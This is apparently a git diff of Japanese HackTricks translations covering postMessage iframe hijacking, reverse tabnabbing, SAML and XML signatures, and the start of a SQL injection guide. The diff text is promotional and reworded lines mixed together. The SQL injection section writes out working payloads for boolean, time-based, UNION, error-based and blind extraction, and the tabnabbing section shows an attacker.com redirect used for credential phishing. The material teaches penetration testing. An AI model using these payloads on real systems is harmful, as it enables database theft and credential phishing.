これは特に **postMessages** で便利です。なぜなら、ページが **`windowRef.postmessage("","*")`** のような **ワイルドカード** を使用して機密データを送信している場合、**関連する iframe子または親の場所を攻撃者が制御する場所に変更してそのデータを盗むことができるからです。**
```html
<html>
<iframe src="https://docs.google.com/document/ID" />
@ -39,10 +39,10 @@ window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**してみたいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**してみたいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>

View file

@ -4,21 +4,21 @@
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**する
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**してください。
- **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details>
# 説明
**攻撃者**が**`target="_blank" rel="opener"`**属性を持つ**`<a`**タグの**`href`**引数を**制御**できる状況で被害者がクリックするリンクを**攻撃者**が自身のコントロール下にあるWebページ**悪意のある** **ウェブサイト**向けることができますその後被害者がリンクをクリックして攻撃者のウェブサイトにアクセスするとこの**悪意のある** **ウェブサイト**はjavascriptオブジェクト**`window.opener`**を介して**元のページ****制御**できるようになります。\
ページに**`rel="opener"`**がないが`target="_blank"`を含んでおり、**`rel="noopener"`**がない場合も脆弱性がある可能性があります。
**攻撃者**が**`target="_blank" rel="opener"`**属性を持つ**`<a`**タグの**`href`**引数を**制御**できる状況で被害者がクリックするリンクを**攻撃者**が自身のコントロール下にあるWeb**悪意のある** **ウェブサイト****指定**すると被害者がリンクをクリックして攻撃者のウェブサイトにアクセスするとこの**悪意のある** **ウェブサイト**はjavascriptオブジェクト**`window.opener`**を介して**元のページ****制御**できるようになります。\
ページに**`rel="opener"`**がないが`target="_blank"`を含み**`rel="noopener"`**がない場合、脆弱性がある可能性があります。
この動作を悪用する通常の方法は、`window.opener.location = https://attacker.com/victim.html`を介して元のWebの場所を変更し、**元のWebサイト**の**ログインフォーム**を**模倣**してユーザーに資格情報を要求できるようにすることです。
この動作を悪用する一般的な方法は、`window.opener.location = https://attacker.com/victim.html`を介して**元のウェブ**の場所を変更し、**元のウェブ**の**ログイン** **フォーム**を**模倣**してユーザーに資格情報を要求できるようにすることです。
ただし、**攻撃者が今や元のウェブサイトのウィンドウオブジェクトを制御できる**ようになったため、他の方法で**ステルス攻撃**を実行するために悪用することができますおそらくjavascriptイベントを変更して情報を彼が制御するサーバーに外部流出させるなど
@ -38,8 +38,8 @@ HackTricksをサポートする他の方法
## 例 <a href="#examples" id="examples"></a>
次のページをフォルダに作成し、`python3 -m http.server`でWebサーバーを実行します\
その後、`http://127.0.0.1:8000/`vulnerable.htmlにアクセスし、リンクをクリックして**元のウェブサイトのURLが変わる**様子を確認してください。
フォルダ以下のページを作成し、`python3 -m http.server`でWebサーバーを実行します\
その後、`http://127.0.0.1:8000/`vulnerable.htmlに**アクセス**し、リンクを**クリック**して**元のウェブサイト**の**URL**が**変更**される様子を確認してください。
{% code title="vulnerable.html" %}
```markup
@ -79,7 +79,7 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
## アクセス可能なプロパティ <a href="#accessible-properties" id="accessible-properties"></a>
異なるドメイン間でアクセスが発生するシナリオでは、**cross-origin** アクセスが発生し、悪意のあるサイトによってアクセスできる **opener** JavaScript オブジェクト参照によって参照される **window** JavaScript クラスインスタンスのプロパティは、以下に制限されます:
異なるドメイン間でアクセスが発生するシナリオでは、悪意のあるサイトによってアクセスされる**opener** JavaScriptオブジェクト参照によって参照される**window** JavaScriptクラスインスタンスのプロパティは、以下に制限されます
- **`opener.closed`**: このプロパティは、ウィンドウが閉じられたかどうかを判断するためにアクセスされ、ブール値を返します。
- **`opener.frames`**: このプロパティは、現在のウィンドウ内のすべてのiframe要素にアクセスを提供します。
@ -91,10 +91,10 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
ただし、ドメインが同一の場合、悪意のあるサイトは[**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScriptオブジェクト参照によって公開されるすべてのプロパティにアクセスできます。
# 予防
# 予防方法
予防情報は [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing) に文書化されています。
予防情報は[HTML5チートシート](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing)に文書化されています。
# 参考文献
## 参考文献
* [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)

View file

@ -1,13 +1,13 @@
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>使って、ゼロからヒーローまでAWSハッキングを学びましょう!</summary>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>でAWSハッキングをゼロからヒーローまで学びましょう!</strong></summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れ
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手す
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)。
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)****
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
@ -15,7 +15,7 @@ HackTricksをサポートする他の方法
# SAML概要
**セキュリティアサーションマークアップ言語SAML**は、アイデンティティプロバイダーIdPがサービスプロバイダーSPに認証資格情報を送信するために利用され、シングルサインオンSSOを容易にします。このアプローチは、複数のログインの管理を簡素化し、複数のウェブサイトで1つの資格情報セットを使用できるようにします。ユーザーの認証とサービスの認可をリンクするために、IdPとSPの間で標準化された通信にXMLを活用しています。
**セキュリティアサーションマークアップ言語SAML**は、アイデンティティプロバイダーIdPがサービスプロバイダーSPに認証資格情報を送信するために利用され、シングルサインオンSSOを容易にします。このアプローチは、複数のログインの管理を簡素化し、複数のウェブサイトで単一の資格情報セットを使用できるようにします。ユーザーの認証とサービスの認可をリンクするために、IdPとSPの間で標準化された通信にXMLを活用しています。
## SAMLとOAuthの比較
@ -26,12 +26,12 @@ HackTricksをサポートする他の方法
**詳細については、[https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)から完全な投稿を確認してください。** これは要約です:
SAML認証プロセスには、次のステップが関与します。スキーマで示されている通り
SAML認証プロセスには、次のステップが関与します
![https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg](https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg)
1. **リソースアクセス試行**:ユーザーが保護されたリソースにアクセスしようとします。
2. **SAMLリクエスト生成**SPはユーザーを認識せず、SAMLリクエストを生成します。
2. **SAMLリクエスト生成**SPはユーザーを認識せず、SAMLリクエストを生成します。
3. **IdPへのリダイレクト**ユーザーはIdPにリダイレクトされ、SAMLリクエストがユーザーのブラウザを介して渡されます。
4. **IdPがリクエストを受信**IdPはSAMLリクエストを受信します。
5. **IdPでの認証**IdPがユーザーを認証します。
@ -43,7 +43,7 @@ SAML認証プロセスには、次のステップが関与します。スキー
# SAMLリクエストの例
ユーザーが[https://shibdemo-sp1.test.edu/secure/](https://shibdemo-sp1.test.edu/secure/)のセキュアリソースへのアクセスをリクエストするシナリオを考えてみましょう。SPは認証の欠如を特定し、SAMLリクエストを生成します
ユーザーが[https://shibdemo-sp1.test.edu/secure/](https://shibdemo-sp1.test.edu/secure/)のセキュアリソースへのアクセスをリクエストするシナリオを考えてみましょう。SPは認証の不足を検出し、SAMLリクエストを生成します
```
GET /secure/ HTTP/1.1
Host: shibdemo-sp1.test.edu
@ -60,29 +60,29 @@ SAMLリクエストの生データは次のようになります
- **ProtocolBinding**: SAMLプロトコルメッセージの送信方法を定義します。
- **saml:Issuer**: リクエストを開始したエンティティを識別します。
SAMLリクエストの生成後、SPは**302リダイレクト**を返し、ブラウザをSAMLリクエストをHTTPレスポンスの**Location**ヘッダにエンコードしてIdPにリダイレクトします。**RelayState**パラメータはトランザクション全体で状態情報を維持し、SPがSAMLレスポンスを受け取った際に初期リソースリクエストを認識することを保証します。**SAMLRequest**パラメータは、生のXMLスニペットの圧縮およびエンコードされたバージョンであり、Deflate圧縮とbase64エンコーディングを使用します。
SAMLリクエストの生成後、SPは**302リダイレクト**を返し、ブラウザをSAMLリクエストをHTTPレスポンスの**Location**ヘッダにエンコードしてIdPにリダイレクトします。**RelayState**パラメータはトランザクション全体で状態情報を維持し、SPがSAMLレスポンスを受け取った際に初期リソースリクエストを認識することを保証します。**SAMLRequest**パラメータは、生のXMLスニペットの圧縮およびエンコードされたバージョンであり、Deflate圧縮とbase64エンコーディングを使用しています。
# SAMLレスポンスの例
[こちらで完全なSAMLレスポンスを見つけることができます](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)。レスポンスの主要なコンポーネントは次のとおりです:
- **ds:Signature**: このセクションはXML署名で、アサーションの発行者の整合性と信頼性を保します。例のSAMLレスポンスには、メッセージ用とアサーション用の2つの`ds:Signature`要素が含まれています。
- **ds:Signature**: このセクションはXML署名で、アサーションの発行者の整合性と信頼性を保します。例のSAMLレスポンスには、メッセージ用とアサーション用の2つの`ds:Signature`要素が含まれています。
- **saml:Assertion**: この部分には、ユーザーのアイデンティティや他の属性に関する情報が含まれています。
- **saml:Subject**: アサーション内のすべてのステートメントの主題を指定します。
- **saml:StatusCode**: 対応するリクエストに対する操作のステータスを表します。
- **saml:Conditions**: アサーションの有効期間や指定されたサービスプロバイダのような条件の詳細を示します。
- **saml:Conditions**: アサーションの有効期間や指定されたサービスプロバイダなどの条件の詳細を示します。
- **saml:AuthnStatement**: IdPがアサーションの主題を認証したことを確認します。
- **saml:AttributeStatement**: アサーションの主題を記述する属性を含みます。
SAMLレスポンスの後、プロセスにはIdPからの302リダイレクトが含まれます。これにより、サービスプロバイダのAssertion Consumer ServiceACSURLに対するPOSTリクエストが行われます。POSTリクエストには`RelayState`および`SAMLResponse`パラメータが含まれます。ACSはSAMLレスポンスの処理と検証を担当します。
SAMLレスポンスの後、IdPからの302リダイレクトが含まれます。これにより、サービスプロバイダのAssertion Consumer ServiceACSURLへのPOSTリクエストが行われます。POSTリクエストには`RelayState`および`SAMLResponse`パラメータが含まれます。ACSはSAMLレスポンスの処理と検証を担当します。
POSTリクエストを受信し、SAMLレスポンスが検証されると、ユーザーが最初にリクエストした保護されたリソースへのアクセスが許可されます。これは、`GET`リクエストを`/secure/`エンドポイントに対して行い、成功したリソースへのアクセスを示す`200 OK`レスポンスで示されます。
POSTリクエストを受け取り、SAMLレスポンスが検証されると、ユーザーが最初にリクエストした保護されたリソースへのアクセスが許可されます。これは、`GET`リクエストが`/secure/`エンドポイントに対して行われ、`200 OK`レスポンスが返されることで示され、リソースへのアクセスが成功したことが示されます。
# XML署名
XML署名は多目的であり、XMLツリー全体または特定の要素に署名することができます。これはレスポンス要素だけでなく、任意のXMLオブジェクトに適用できます。以下にXML署名の主要なタイプを示します:
XML署名は多目的であり、XMLツリー全体またはその特定の要素に署名することができます。これはレスポンス要素だけでなく、任意のXMLオブジェクトに適用できます。以下はXML署名の主要なタイプです:
### XML署名の基本構造
XML署名には、次に示す基本要素が含まれます
@ -107,7 +107,7 @@ XML署名には、次に示す基本要素が含まれます
### XML署名の種類
1. **封入署名**:このタイプの署名は、署名されるリソースの子孫であり、署名は署名されたコンテンツと同じXML構造内に含まれていることを意味します。
1. **Enveloped Signature**: このタイプの署名は、署名されるリソースの子孫であり、署名が署名されたコンテンツと同じXML構造内に含まれていることを意味します。
例:
```xml
@ -125,9 +125,9 @@ XML署名には、次に示す基本要素が含まれます
</samlp:Response>
```
封入署名では、`ds:Transform`要素が`enveloped-signature`アルゴリズムを介して封入されていることを指定します。
Enveloped署名では、`ds:Transform`要素が`enveloped-signature`アルゴリズムを介して包まれていることを指定します。
2. **包含署名**:封入署名とは対照的に、包含署名は署名されるリソースを包み込みます。
2. **Enveloping Signature**: Enveloped署名とは対照的に、Enveloping署名は署名されるリソースを包み込みます。
例:
```xml
@ -144,7 +144,7 @@ XML署名には、次に示す基本要素が含まれます
</ds:Signature>
```
3. **切り離し署名**:このタイプは、署名されるコンテンツとは別に存在します。署名とコンテンツは独立して存在しますが、両者の間にリンクが維持されます。
3. **Detached Signature**: このタイプは、署名されるコンテンツから独立しています。署名とコンテンツは独立して存在しますが、両者の間にリンクが維持されています。
例:
```xml
@ -161,4 +161,4 @@ XML署名には、次に示す基本要素が含まれます
</ds:Signature>
```
結論として、XML署名は異なる構造とセキュリティのニーズを満たすために柔軟な方法を提供し、各タイプが異なる構造とセキュリティのニーズに対応しています。
結論として、XML署名はXMLドキュメントを保護する柔軟な方法を提供し、各タイプが異なる構造とセキュリティのニーズを満たしています。

View file

@ -5,26 +5,26 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricks で企業を宣伝**してみたいですか?または、**PEASS の最新バージョンにアクセス**したいですかまたは、HackTricks を **PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけてください
* [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れましょう
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、または **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォローしてください。**
* **ハッキングトリックを共有するために、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks) と [hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud)** に PR を提出してください。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見しましょう。独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションです。
* [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discord グループ**に参加するか、[**telegram グループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォロー**してください。
* **ハッキングテクニックを共有する**には、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks) と [hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud) に PR を提出してください。
</details>
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) は **スペイン** で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ** でも最も重要なイベントの一つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い出会いの場です。
[**RootedCON**](https://www.rootedcon.com/) は **スペイン** で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ** でも最も重要なイベントの一つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。
{% embed url="https://www.rootedcon.com/" %}
## SQL インジェクションとは?
**SQL インジェクション**は、攻撃者がアプリケーションのデータベースクエリに **干渉** できるセキュリティ上の脆弱性です。この脆弱性により、攻撃者は、他のユーザーの情報やアプリケーションがアクセスできる任意のデータを含むデータに **アクセス**、**変更**、または **削除** することができます。これらの行動は、アプリケーションの機能やコンテンツに恒久的な変更をもたらしたり、サーバーの侵害やサービスの拒否さえ引き起こす可能性があります。
**SQL インジェクション**は、攻撃者がアプリケーションのデータベースクエリに **干渉** できるセキュリティ上の脆弱性です。この脆弱性により、攻撃者は、他のユーザーの情報やアプリケーションがアクセスできるデータを含む、アクセスすべきでないデータを **表示**、**変更**、または **削除** することができます。これらの行動は、アプリケーションの機能やコンテンツに恒久的な変更をもたらしたり、サーバーの侵害やサービスの拒否さえ引き起こす可能性があります。
## エントリーポイントの検出
サイトが **SQL インジェクションSQLi** に脆弱であるように見える場合、SQLi 関連の入力に対するサーバーの異常な応答により、**最初のステップ** は、クエリにデータを **挿入** する方法を理解することですが、それを **妨げることなく** 行う必要があります。これには、現在のコンテキストから **効果的に脱出** する方法を特定する必要があります。
サイトが **SQL インジェクションSQLi** に脆弱であるように見える場合、SQLi 関連の入力に対するサーバーの異常な応答により、**最初のステップ** は、クエリにデータを **挿入する方法を理解すること**です。これには、現在のコンテキストから **効果的に脱出する方法** を特定する必要があります。
以下は、いくつかの有用な例です:
```
[Nothing]
@ -38,7 +38,7 @@
"))
`))
```
次に、**クエリを修正してエラーが発生しないようにする方法**を知る必要があります。クエリを修正するためには、新しいデータを**入力**して**以前のクエリが新しいデータを受け入れるように**するか、単に**データを入力**して**コメント記号を末尾に追加**することができます。
次に、**クエリを修正してエラーが発生しないようにする方法**を知る必要があります。クエリを修正するためには、新しいデータを**入力**して**以前のクエリが新しいデータを受け入れるように**するか、単にデータを**入力**して**コメント記号を末尾に追加**することができます。
_クエリが機能しているときと機能していないときにエラーメッセージを見ることができるか、違いを見つけることができる場合、このフェーズはより簡単になります。_
@ -70,9 +70,9 @@ HQL does not support comments
```
### 論理演算で確認
SQLインジェクションの脆弱性を確認する信頼性の高い方法は、**論理演算**を実行し、期待される結果を観察することです。たとえば、`?username=Peter`というGETパラメータが`?username=Peter' or '1'='1`に変更されたときに同一のコンテンツが生成される場合、SQLインジェクションの脆弱性が示唆されます。
SQLインジェクションの脆弱性を確認する信頼性の高い方法は、**論理演算**を実行し、期待される結果を観察することです。たとえば、`?username=Peter`というGETパラメータが`?username=Peter' or '1'='1`に変更されたときに同一のコンテンツを生成する場合、SQLインジェクションの脆弱性が示唆されます。
同様に、**数学演算**の適用は効果的な確認手法として機能します。たとえば、`?id=1`にアクセスした場合と`?id=2-1`にアクセスした場合に同じ結果が生成される場合、SQLインジェクションの兆候となります。
同様に、**数学演算**の適用は効果的な確認手法として機能します。たとえば、`?id=1`と`?id=2-1`にアクセスして同じ結果が生成される場合、SQLインジェクションの兆候となります。
論理演算による確認を示す例:
```
@ -81,14 +81,14 @@ page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
```
このワードリストは、提案された方法でSQLインジェクションを**確認**するために作成されました:
このワードリストは、提案された方法でSQLインジェクションを**確認**しようと作成されました:
{% file src="../../.gitbook/assets/sqli-logic.txt" %}
### タイミングでの確認
場合によっては、テストしているページに**変化気づかない**ことがあります。そのため、**ブラインドSQLインジェクションを発見**する良い方法は、DBにアクションを実行させ、ページの読み込みに**影響を与える時間**を持たせることです。\
したがって、SQLクエリに、完了に多くの時間がかかる操作を連結ます:
場合によっては、テストしているページに**変化気づかない**ことがあります。そのため、**ブラインドSQLインジェクションを発見**する良い方法は、DBにアクションを実行させ、ページの読み込みに**時間がかかるようにする**ことです。\
したがって、SQLクエリに、完了に多くの時間がかかる操作を連結することになります:
```
MySQL (string concat and logical ops)
1' + sleep(10)
@ -110,11 +110,11 @@ SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
```
いくつかの場合、**sleep関数を許可されない**ことがあります。その場合、これらの関数を使用する代わりに、**複雑な操作を実行**させることで、クエリを数秒かかるようにすることができます。_これらのテクニックの例は、各技術ごとに別々にコメントされます_。
いくつかの場合、**sleep関数を許可されない**ことがあります。その場合、これらの関数を使用する代わりに、**複雑な操作を実行**させて、数秒かかるクエリを作成することができます。_これらのテクニックの例は、各技術ごとに別々にコメントされます_。
### バックエンドの特定
バックエンドを特定する最良の方法は、異なるバックエンドの関数を実行しようとすることです。前のセクションの**sleep関数**またはこれらの関数を使用できます([payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification)からのテーブルを使用):
バックエンドを特定する最良の方法は、異なるバックエンドの関数を実行しようとすることです。前のセクションの**sleep関数**またはこれらの関数を使用できます([payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification)からのテーブル
```bash
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
@ -156,13 +156,13 @@ SQLite
### 列の数を検出する
クエリの出力を見ることができる場合、これが悪用する最良の方法です。\
まず、**初期リクエスト**が返す**列の数**を見つける必要があります。これは**両方のクエリが同じ列数を返す必要があるため**です。\
クエリの出力を見ることができれば、これが悪用する最良の方法です。\
まず、**初期リクエスト**が返す**列の数**を見つける必要があります。これは**両方のクエリが同じ列数を返す必要があるため**です。\
通常、この目的のためには2つの方法が使用されます:
#### Order/Group by
クエリ内の列の数を特定するには、**ORDER BY**または**GROUP BY**句で使用される数値を段階的に調整し、誤った応答が受信されるまで続けます。SQL内で**GROUP BY**と**ORDER BY**の異なる機能があるにもかかわらず、両方を同様に使用してクエリの列数を特定することができます。
クエリの列数を決定するには、**ORDER BY**または**GROUP BY**句で使用される数値を段階的に調整し、誤った応答が受信されるまで続けます。SQL内で**GROUP BY**と**ORDER BY**の異なる機能があるにもかかわらず、両方を同様に使用してクエリの列数を特定することができます。
```sql
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
@ -180,15 +180,15 @@ SQLite
```
#### UNION SELECT
クエリが正しい値を返すまで、さらに多くの null 値を選択します
クエリが正しい値を返すまで、さらに多くの null 値を選択します
```sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
```
_いくつかのケースでは、クエリの両側の列の型が同じである必要があるため、`null`値を使用する必要があります。`null`はすべてのケースで有効です。_
_いくつかのケースでは、クエリの両側の列の型が同じである必要があるため、`null`値を使用する必要があります。`null`はすべての場合で有効です。_
### データベース名、テーブル名、列名を抽出する
### データベース名、テーブル名、列名を抽出
次の例では、すべてのデータベースの名前、データベースのテーブル名、テーブルの列名を取得します:
```sql
@ -205,17 +205,17 @@ _異なるデータベースごとにこのデータを発見する異なる方
## 隠れた Union Based の悪用
クエリの出力が見えるが、union-based injection が達成不可能に見える場合、**隠れた union-based injection** の存在を示しています。このシナリオはしばしば blind injection の状況につながります。blind injection を union-based に変換するには、バックエンドでの実行クエリを識別する必要があります。
クエリの出力が見えるが、union-based のインジェクションが達成不可能に見える場合、**隠れた union-based のインジェクション**が存在していることを示します。このシナリオはしばしば盲目的なインジェクション状況につながります。盲目的なインジェクションをunion-basedに変換するには、バックエンドでの実行クエリを識別する必要があります。
これは、目標とするデータベース管理システムDBMSに固有のデフォルトテーブルと共に blind injection テクニックを使用して達成できます。これらのデフォルトテーブルを理解するためには、対象のDBMSのドキュメントを参照することが推奨されます。
これは、対象のデータベース管理システムDBMSに固有のデフォルトテーブルと共に盲目的なインジェクション技術を使用して達成できます。これらのデフォルトテーブルを理解するためには、対象のDBMSのドキュメントを参照することが推奨されます。
クエリを抽出したら、ペイロードを調整して元のクエリを安全に閉じる必要があります。その後、ペイロードに union クエリを追加することで、新たにアクセス可能になった union-based injection を悪用できます。
クエリを抽出したら、ペイロードを調整して元のクエリを安全に閉じる必要があります。その後、ペイロードにunionクエリを追加することで、新たにアクセス可能になったunion-basedのインジェクションを悪用できます。
より包括的な洞察を得るには、[Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f)で利用可能な完全な記事を参照してください。
## エラーベースの悪用
## エラーを利用した悪用
何らかの理由でクエリの出力を見ることができないが、エラーメッセージを見ることができる場合、これらのエラーメッセージを使用してデータベースからデータを取得することができます。\
何らかの理由で**クエリの出力**を**見ることができない**が、**エラーメッセージは見える**場合、これらのエラーメッセージを使用してデータベースからデータを**外部に持ち出す**ことができます。\
Union Basedの悪用と同様の流れに従うことで、DBをダンプすることができます。
```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
@ -223,7 +223,7 @@ Union Based の悪用と同様の流れに従うことで、DB をダンプす
## Blind SQLiの悪用
この場合、クエリの結果やエラーを見ることはできませんが、クエリが**true**または**false**の応答を返すときに区別できます。なぜなら、ページに異なるコンテンツが表示されるからです。\
この場合、その動作を悪用してデータベースを1文字ずつダンプすることができます
この場合、その動作を悪用してデータベースを1文字ずつダンプすることができます
```sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
```
@ -233,9 +233,9 @@ Union Based の悪用と同様の流れに従うことで、DB をダンプす
```sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## Time Based SQLiの悪用
## タイムベースのSQLiの悪用
